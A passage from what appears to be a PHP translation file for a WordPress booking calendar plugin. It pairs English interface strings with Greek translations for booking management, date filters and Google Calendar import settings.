CSS for the form fields'=>'Χρησιμοποιείστε το BootStrap CSS για τα πεδία φόρμας','Type title of message %safter booking has done by user%s'=>'Πληκτρολογήστε το μήνυμα που θα εμφανίζεται %sμετά την καταχώρηση κράτησης από το χρήστη%s','Resources'=>'Προϊόντα','You need to approve a new booking %s for: %s Person detail information:%s Currently a new booking is waiting for approval. Please visit the moderation panel%sThank you, %s'=>'Θα πρέπει να εγκρίνετε μια νέα κράτηση %s για: %s Πληροφορίες προσώπου:%s Επί του παρόντος, μια νέα κράτηση είναι σε αναμονή για έγκριση. Παρακαλώ επισκεφτείτε τη σελίδα του διαχειριστή%sΕυχαριστώ, %s','Fields Settings'=>'Ρυθμίσεις Φόρμας','Pending booking(s)'=>'Εκκρεμείς κρατήσεις','Booking resource'=>'Προϊόν κράτησης','%sWarning! Booking calendar for this booking resource are already at the page, please check more about this issue at %sthis page%s'=>'%sΠροσοχή! Κράτηση ημερολόγιου γι’ αυτό το προϊόν κράτησης είναι ήδη στη σελίδα, παρακαλούμε να ελέγξετε περισσότερα σχετικά με αυτό το θέμα στο %sσε αυτή την σελίδα%s','Resource not exist'=>'Δεν υπάρχει πηγή κράτησης','Collapse Advanced Toolbar'=>'Κλείσιμο εξειδικευμένης μπάρας','Do you really want to set booking as pending ?'=>'Θέλετε πραγματικά να ορίσετε αυτήν την κράτηση ως εκκρεμή?','Go'=>'Πάμε','Read'=>'Αναγνωσμένες','Read All'=>'Όλες αναγνωσμένες','Mark as Unread selected bookings'=>'Μαρκάρισμα τις επιλεγμένες κρατήσεις ως μη αναγνωσμένες','Approve selected bookings'=>'Εγκρίνετε τις επιλεγμένες κρατήσεις','Set selected bookings as pending'=>'Ορίστε τις επιλεγμένες κρατήσεις ως εκκρεμείς','Delete selected bookings'=>'Διαγράψτε τις επιλεγμένες κρατήσεις','Mark as read all bookings'=>'Μαρκάρετε όλες τις κρατήσεις ως αναγνωσμένες','Mark as read selected bookings'=>'Μαρκάρισμα τις επιλεγμένες κρατήσεις ως αναγνωσμένες','Unread'=>'Μη Αναγνωσμένες','Single day'=>'Μία ημέρα','Multiple days'=>'Πολλές ημέρες','About Booking Calendar'=>'Σχετικά με το Booking Calendar','FAQ'=>'Συχνές ερωτήσεις','Help'=>'Βοήθεια','Start Date'=>'Ημερομηνία Έναρξης','Booking Listing'=>'Σελίδα διαχείρισης κρατήσεων','Custom'=>'Προσαρμοσμένη','Apply'=>'Εφαρμογή','Prior'=>'Προηγούμενη/ες','Check-in'=>'Άφιξη','Check-out'=>'Αναχώρηση','Today check in/out'=>'Σήμερα άφιξη/αναχώρηση','Next'=>'Επόμενη/ες','Previous dates'=>'Προηγούμενες ημερομηνίες','All dates'=>'Όλες οι ημερομηνίες','Current dates'=>'Τρέχουσες ημερομηνίες','Today'=>'Σήμερα','Year'=>'Έτος','weeks'=>'εβδομάδες','month'=>'μήνας','months'=>'μήνες','Code Example'=>'Κώδικος Παράδειγμα','week'=>'εβδομάδα','Description'=>'Περιγραφή','Options'=>'Επιλογές','Start month:'=>'Μήνας έναρξης:','Select start month of calendar'=>'Επιλέξτε μήνα έναρξης του ημερολόγιου','Booking form with calendar'=>'Φόρμα κράτησης με ημερολόγιο','Only availability calendar'=>'Μόνο τα διαθέσιμα ημερολόγια','for'=>'για','Select number of month to show for calendar.'=>'Επιλέξτε πόσους μήνες θα εμφανίζει το ημερολόγιο.','Booking resources'=>'Κράτηση δωματίου','Select booking resource'=>'Επιλέξτε προϊόν κράτησης','Cancel'=>'Άκυρο','Have a questions?'=>'Έχετε ερωτήσεις?','Insert booking calendar'=>'Εισαγωγή ημερολόγιο κρατήσεων','Booking calendar'=>'Ημερολόγιο Κρατήσεων','Ok'=>'Οκ','See %sFAQ%s.'=>'Δείτε τις %sΣυχνές ερωτήσεις%s.','Check %sBooking Listing%s page for new bookings.'=>'Ελέγξτε τη %sΣελίδα διαχείρισης κρατήσεων%s για νέες κρατήσεις.','Need even more functionality? Check %s higher versions %s'=>'Χρειάζεστε ακόμη περισσότερες λειτουργίες? Ελέγξτε τις %s μεγελύτερες εκδόσεις %sαπόρριψη','Next Steps'=>'Επόμενα Βήματα','Purchase'=>'Αγορά','Upgrade Now'=>'Αναβάθμιση Τώρα','Get Started'=>'Ξεκινώντας','Please, select booking date(s) at Calendar.'=>'Παρακαλώ επιλέξτε ημερομηνία κράτησης από το Ημερολόγιο.','We’ve assembled some links to get you started:'=>'Φτιάξαμε μερικους συνδέσχμους για να ξεκινήσετε:','This field is required'=>'Αυτό το πεδίο είναι υποχρεωτικό','This checkbox must be checked'=>'Αυτό το πεδίο πρέπει υποχρεωτικά να είναι επιλεγμένο','At least one option must be selected'=>'Πρέπει να επιλέξετε τουλάχιστον μία επιλογή','Export only current page of bookings to CSV format'=>'Εξαγωγή μόνο της τρέχουσας σελίδας των κρατήσεων σε μορφή CSV','Import'=>'Εισαγωγή','Import Google Calendar Events'=>'Εισαγωγή γεγονότων από το Ημερολόγιο της Google','Close'=>'Κλείσιμο','Please configure settings for import Google Calendar events'=>'Παρακαλούμε να διαμορφώσετε τις ρυθμίσεις για την εισαγωγή των γεγονότων από το ημερολόγιο της Google','here'=>'εδώ','Configure'=>'Διαμόρφωση','Select time duration of import requests.'=>'Επιλέξτε τη διάρκεια του χρόνου των αιτήσεων εισαγωγής.','Warning!'=>'Προειδοποίηση!','Retrieve Google Calendar Events '=>'Ανάκτηση Γεγονότων από το ημερολόγιο της Google ','day'=>'ημέρα','Activate auto import'=>'Ενεργοποιήσετε την αυτόματη εισαγωγή','Import events every'=>'Εισαγωγή γεγονότων κάθε','hour'=>'ώρα','Select a city in your required timezone, if you are having problems with dates and times.'=>'Επιλέξτε μια πόλη στην ζώνη ώρας που θέλετε, αν έχετε προβλήματα με τις ημερομηνίες και ώρες.','Check this box to %sactivate%s auto import events and creation bookings from them'=>'Επιλέξτε αυτό το πλαίσιο %sενεργοποίηση%s για αυτόματη εισαγωγή γεγονότων και δημιουργία κρατήσεων από αυτές','Default'=>'Προεπιλεγμένο','Timezone'=>'Ζώνη ώρας','Please enter your Google API key. This field required to import events.'=>'Παρακαλώ εισάγετε το δικό σας κλειδί Google API. Αυτό το πεδίο απαιτείται για να εισάγετε γεγονότα.','You can check in this %sinstruction how to generate and use your Google API key%s.'=>'Μπορείτε να δείτε σε αυτές τις %sοδηγίες για το πώς δημιουργείτε και χρησιμοποιείτε το κλειδί Google API %s.','You can specify an additional offset from you chosen start point. The offset can be negative.'=>'Μπορείτε να καθορίσετε μια πρόσθετη μετατόπιση από την επιλογή σας ως σημείο εκκίνησης. Η μετατόπιση μπορεί να είναι αρνητική.','Type your date in format %s. Example: %s'=>'Πληκτρολογήστε την ημερομηνία σας σε μορφή %s. Παράδειγμα: %s','Until'=>'Μέχρι','The end of time'=>'Το τέλος του χρόνου','Select option, when to stop retrieving events.'=>'Επιλέξτε την επιλογή, πότε να σταματήσει την ανάκτηση γεγονότα.','You can specify an additional offset from you chosen end point. The offset can be negative.'=>'Μπορείτε να καθορίσετε μια πρόσθετη μετατόπιση από το δικό σας σημείο τερματισμού. Η μετατόπιση μπορεί να είναι αρνητική.','Maximum number'=>'Μέγιστος αριθμός','Google API Key'=>'Κλειδί Google API','You can specify the maximum number of events to import during one session.'=>'Μπορείτε να ορίσετε το μέγιστο αριθμό γεγονότων για εισαγωγή κατά τη διάρκεια μιας συνεδρίας.','minutes'=>'λεπτά','hours'=>'ώρες','days'=>'ημέρες','00:00 today'=>'00:00 σήμερα','Start of current week'=>'Έναρξη της τρέχουσας εβδομάδας','Start of current month'=>'Έναρξη του τρέχοντος μήνα','End of current month'=>'Τέλος του τρέχοντος μήνα','Specific date / time'=>'Συγκεκριμένη ημερομηνία / ώρα','Select option, when to start retrieving events.'=>'Επιλέξτε την επιλογή, όταν ξεκινήσει η ανάκτηση γεγονότος.','Enter date / time'=>'Εισάγετε την ημερομηνία / ώρα','seconds'=>'δευτερόλεπτα','Offset'=>'Μετατόπιση','The start of time'=>'Έναρξη του χρόνου','From'=>'Από','Now'=>'Τώρα','Event Description (optional field)'=>'Περιγραφή Γεγονότος (προαιρετικό πεδίο)','Event Title'=>'Τίτλος Γεγονότος','Location'=>'Περιοχή','Select field for assigning to %sevent property%s'=>'Επιλέξτε το πεδίο για εκχώρηση στην %sιδιότητα γεγονότος%s','Click APIs and make sure "Calendar API" is set to ON.'=>'Κλικ στο APIs και σιγουρευτείτε ότι το "Ημερολόγιο API" είναι ON.','Now click on "Credentials" in the sidebar.'=>'Τώρα κάντε κλικ στο "Πιστοποιητικά" στην πλαϊνή γραμμή.','Under the section "Public API access" click the button "Create new Key".'=>'Κάτω από το τμήμα "Δημόσιο API πρόσβαση" κλικ στο κουμπί "Δημιουργία νέο Key".','On the popup click the button "Server Key" and click "Create".'=>'Στο αναδυόμενο παράθυρο, κάντε κλικ στο κουμπί "Server Key" και κλικ "Δημιουργία".','You will now see a table loaded with the top item being the API Key. Copy this and paste it into %sGoogle API Key%s field at this page.'=>'Θα δείτε τώρα ένα πίνακα φορτωμένο με τα πρώτα στοιχείο της λίστας API keys. Αντιγράψτε το και επικολλήστε το μέσα στο %sGoogle API Key%s πεδίο σε αυτή την σελίδα.','Set Your Calendar to Public'=>'Δημοσιεύστε το ημερολόγιό σας','Navigate to your Google calendars.'=>'Πλοηγηθείτε στα Google ημερολόγιά σας.','Click the "Share this Calendar" link.'=>'Κάντε κλικ στο "Μοιραστείτε αυτό το Ημερολόγιο" σύνδεσμος.','Find Your Calendar ID'=>'Βρείτε το ID από το ημερολόγιό σας','Now copy the Calendar ID to use in the plugin settings in your WordPress admin. Make sure to %suse the Calendar ID only, not the entire XML feed URL%s.'=>'Τώρα αντιγράψτε το ID από το ημερολόγιο που θέλετε να χρησιμοποιήσετε στις ρυθμίσεις Feed στην διαχείριση του WordPress. Σιγουρευτείτε oti %sχρησιμοποιείτε μόνο το ID του ημερολόγιου και όχι το XML feed URL%s.','None'=>'Κανένα','Open the settings for the calendar.'=>'Ανοίξτε τις ρυθμίσεις για το ημερολόγιο.','Click the checkbox to make calendar public. Do not check the other option.'=>'Κάντε κλικ στο πλαίσιο για να δημοσιεύσετε το ημερολόγιό σας. Μην επιλέξετε τις άλλες επιλογές.','Assign events fields to specific booking form field'=>'Εκχώρηση γεγονότων(πεδία) σε συγκεκριμένα πεδία στη φόρμα κρατήσεων','Auto import events'=>'Αυτόματη εισαγωγή γεγονότων','Default settings for retrieving events'=>'Οι προεπιλεγμένες ρυθμίσεις για την ανάκτηση των γεγονότων','Go to Google Developer Console: %s.'=>'Πηγαίνετε στην κονσόλα προγραμματιστών της Google: %s.','Give your project a name and click "Create".'=>'Δώστε στο έργο σας ένα όνομα και κάντε κλικ "Δημιουργία".','In the sidebar click on "APIs & auth".'=>'Στην πλαϊνή γραμμή, κάντε κλικ στο "APIs & auth".','Google Calendar ID'=>'ID ημερολογίου Google','Google Calendar - General Settings'=>'Google Ημερολόγιο - Γενικές ρυθμίσεις','To get Google Calendar API key please follow this instruction'=>'Για να πάρετε το Google API key παρακαλώ ακολουθήστε αυτές τις οδηγίες','Delete selected booking(s)'=>'Διαγραφή επιλεγμένων κράτησεων','Click to toggle'=>'Κάντε κλικ για αλλαγή','Do you really want to delete selected booking(s) ?'=>'Θέλετε πραγματικά να διαγράψετε τις επιλεγμένες κράτησεις?','Sync'=>'Συγχρονισμός','Dates'=>'Ημερομηνίες','GID'=>'GID','Selection'=>'Επιλογή','Location:'=>'Περιοχή:','Reload page'=>'Ανανέωση της σελίδας','Hide'=>'Απόκρυψη','Info'=>'Πληροφορίες','Title'=>'Τίτλος','ID'=>'ID','Importing Feed'=>'Εισαγωγή Feed','Data Parsing'=>'Parsing δεδομένων','Access to this feed was denied (403). Please ensure you have public sharing enabled for your calendar.'=>'Η πρόσβαση σε αυτό το Feed απορρίφθηκε (403). Παρακαλώ βεβαιωθείτε ότι έχετε ενεργοποιημένη την κοινή δημόσια για το ημερολόγιό σας.','Done'=>'Ολοκληρώθηκε','Some data was retrieved, but could not be parsed successfully. Please ensure your feed URL is correct.'=>'Ορισμένα δεδομένα ανακτήθηκαν, αλλά δεν θα μπορούσανε να αναλυθούν με επιτυχία. Παρακαλούμε βεβαιωθείτε με τη διεύθυνση ιστοσελίδας αν είναι σωστή.','The feed could not be found (404). Please ensure your feed URL is correct.'=>'Η σελίδα δεν βρέθηκε (404). Παρακαλούμε βεβαιωθείτε ότι η διεύθυνση ιστοσελίδας είναι σωστή.','The feed data could not be retrieved. Error code: %s. Please ensure your feed URL is correct.'=>'Τα δεδομένα δεν μπορούσανε να ανακτηθούν. Error code: %s. Παρακαλούμε βεβαιωθείτε η διεύθυνση ιστοσελίδας σας είναι σωστή.','Save Changes'=>'Αποθήκευση αλλαγών','Error!'=>'Λάθος!','Dismiss'=>'Απόρριψη','Set as Approved'=>'Ορισμός ως Εγκεκριμένο','Reason for cancellation here'=>'Λόγος για την ακύρωση εδώ','Reason of cancellation here'=>'Αιτία της ακύρωσης εδώ','Deleted'=>'Διαγράφηκε','The code you entered is incorrect'=>'Ο κωδικός που εισάγατε είναι λανθασμένος','Set as Pending'=>'Ορισμός ως εκκρεμή','%sError!%s Request do not pass security check! Please refresh the page and try one more time.'=>'%sΛάθος!%s Το αίτημα δεν πέρασε τον έλεγχο ασφαλείας! Παρακαλούμε ανανεώστε τη σελίδα και προσπαθήστε για μια ακόμη φορά.']];